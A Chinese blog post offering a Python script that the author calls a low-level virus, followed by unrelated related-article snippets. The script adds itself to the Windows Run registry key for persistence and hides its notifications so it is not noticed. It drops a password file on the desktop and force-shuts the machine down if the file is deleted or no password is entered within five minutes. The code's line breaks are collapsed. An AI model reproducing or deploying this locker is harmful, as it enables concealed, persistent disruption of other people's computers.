锁(Python)

ops/2024/11/2 18:38:04/

 简介

掩耳盗铃习惯了,今天整一点偏高级的,攻克一下我一直没拿下的自启动。

能修改自启动项,能在开机时启动,并在桌面创建(基于注册表实现)一个txt文件,向这个文件输入密码才能继续使用电脑,程序只会对txt文档进行读取,通知什么的最好取消。如果不对桌面上的文件进行操作的话,5分钟后电脑会关机,直接删除会使电脑直接关机。从某种意义上来说,这是一个低级病毒(如果加一个自动复制的话、再打包出来……噫)。

代码

建议复制来使用时不要轻易运行必须先修改代码!!!

只有密码正确了程序才能结束运行,可通过任务管理器击杀,有5min反应时间。

python">import hashlib
import os
import random
import winreg as reg
import time# from plyer import notification
# 取消通知,避免露馅def modify_startup(file_path="", startup_name=""):if not file_path:file_path = os.path.abspath(__file__)if not startup_name:startup_name = "My Python Program"# 打开注册表键reg_key = reg.HKEY_CURRENT_USERreg_path = r"Software\Microsoft\Windows\CurrentVersion\Run"try:registry_key = reg.OpenKey(reg_key, reg_path, 0, reg.KEY_SET_VALUE)except FileNotFoundError:registry_key = reg.CreateKey(reg_key, reg_path)# 修改键值try:reg.SetValueEx(registry_key, startup_name, 0, reg.REG_SZ, file_path)print(f"已成功修改启动项 '{startup_name}' 的路径。")except FileNotFoundError:print(f"启动项 '{startup_name}' 不存在。")finally:reg.CloseKey(registry_key)def delete_startup(startup_name=""):if not startup_name:startup_name = "My Python Program"# 打开注册表键reg_key = reg.HKEY_CURRENT_USERreg_path = r"Software\Microsoft\Windows\CurrentVersion\Run"try:registry_key = reg.OpenKey(reg_key, reg_path, 0, reg.KEY_SET_VALUE)except FileNotFoundError:registry_key = reg.CreateKey(reg_key, reg_path)# 删除键值try:reg.DeleteValue(registry_key, startup_name)print(f"已成功删除启动项 '{startup_name}'。")except FileNotFoundError:print(f"启动项 '{startup_name}' 不存在。")finally:reg.CloseKey(registry_key)def get_desktop_path():  # 获取桌面位置# 打开注册表项key = reg.OpenKey(reg.HKEY_CURRENT_USER,r"Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders")try:# 查询Desktop的值desktop_path, reg_type = reg.QueryValueEx(key, "Desktop")# 如果路径中包含环境变量,则进行解析desktop_path = os.path.expandvars(desktop_path)finally:# 关闭注册表项reg.CloseKey(key)return desktop_pathdef hx(s=str(random.randint(1000, 9999))):  # 加密函数return hashlib.sha256(s.encode()).hexdigest()if __name__ == '__main__':script_path = os.path.abspath(__file__)modify_startup(script_path, "mypwd")fileName = hx()desktop = get_desktop_path()with open(f"{desktop}\\{fileName}.txt", "w", encoding="utf-8") as origin:origin.write(fileName)content = ""count = 0while not hx(content) == "00cfe4cfcd27c0c2f658560a2068b1e7e9ae8ca64a93b8d8cad84c9d2603c18b":  # 成功条件if not os.path.exists(f"{desktop}\\{fileName}.txt"):  # 删文件的后果os.system("shutdown -s -t 0")breakwith open(f"{desktop}\\{fileName}.txt", "r", encoding="utf-8") as file:content = file.read().strip()if count == 60:  # 5min无操作的后果# notification.notify(#     title="莉莉丝",#     message="杂鱼,你好像不是这台电脑的主人啊!",# )os.remove(f"{desktop}\\{fileName}.txt")os.system("shutdown -s -t 0")breakcount += 1time.sleep(5)if os.path.exists(f"{desktop}\\{fileName}.txt"):os.remove(f"{desktop}\\{fileName}.txt")# notification.notify(#     title="莉莉丝",#     message="主人,欢迎您!",# )

学习愉快! 


http://www.ppmy.cn/ops/130490.html

相关文章

开源办公软件 ONLYOFFICE 深入探索

文章目录 引言1. ONLYOFFICE 创建的背景1. 1 ONLYOFFICE 项目启动1. 2 ONLYOFFICE 的发展历程 2. 核心功能介绍2. 1 桌面编辑器2. 1. 1 文档2. 1. 2 表格2. 1. 3 幻灯片 2. 2 协作空间2. 3 文档编辑器 - 本地部署版 3. 技术介绍4. 安装5. 优势与挑战6. 个人体验7. 强大但不止于…

centos7 zabbix监控nginx的pv和uv和status_code

zabbix监控nginx的pv: pv)cat /var/log/nginx/access.log|awk {print $1}|wc -l;;zabbix-get验证: [rootbogon ~]# zabbix_get -s 192.168.253.231 -k pv_uv[pv] 100zabbix监控nginx的uv uv)cat /var/log/nginx/access.log|awk {print $1}|uniq -c | w…

web前端多媒体标签设置(图片,视频,音频)以及图片热区(usemap)的设置

多媒体标签运用 在HTML中有以下常见多媒体标签&#xff1a; <img> &#xff08;图像标签&#xff09; - 作用&#xff1a;用于在网页中嵌入图像。 - 示例&#xff1a; <img src"image.jpg" alt"这是一张图片"> 。其中 src 属性指定图像的…

硅谷甄选(8)spu

Spu模块 SPU(Standard Product Unit)&#xff1a;标准化产品单元。是商品信息聚合的最小单位&#xff0c;是一组可复用、易检索的标准化信息的集合&#xff0c;该集合描述了一个产品的特性。通俗点讲&#xff0c;属性值、特性相同的商品就可以称为一个SPU。 7.1 Spu模块的静态…

Java面试题库——SSM框架

一、Spring 1.为什么使用Spring&#xff1f; 方便解耦&#xff0c;便于开发&#xff1b; 支持aop切面编程&#xff1b; 声明式事务的支持&#xff1b; 方便程序的测试&#xff1b; 方便集成各种优秀的框架&#xff1b; 降低JavaEE API的使用难度。2.什么是AOP&#xff1f; A…

抖音短剧小程序上线:短视频平台的全新娱乐体验

抖音短剧小程序的开发是一个结合了创意与技术的过程&#xff0c;旨在通过简洁而富有吸引力的方式&#xff0c;向用户提供高质量的短剧内容。随着移动互联网的快速发展&#xff0c;短视频平台成为了人们日常生活中不可或缺的一部分&#xff0c;而短剧作为一种新兴的内容形式&…

Python | Leetcode Python题解之第525题连续数组

题目&#xff1a; 题解&#xff1a; class Solution:def findMaxLength(self, nums: List[int]) -> int:# 前缀和字典: key为1的数量和0的数量的差值,value为对应坐标hashmap {0:-1}# 当前1的数量和0的数量的差值counter ans 0for i,num in enumerate(nums):# 每多一个1…

C#版的有道智云对话接口

public class YoudaoTalk { public static string appKey "您的应用ID";//"您的应用ID"; public static string appSecret "您的应用密钥";//"您的应用密钥"; //应用名称 一对一对话 //已选服务 小P老…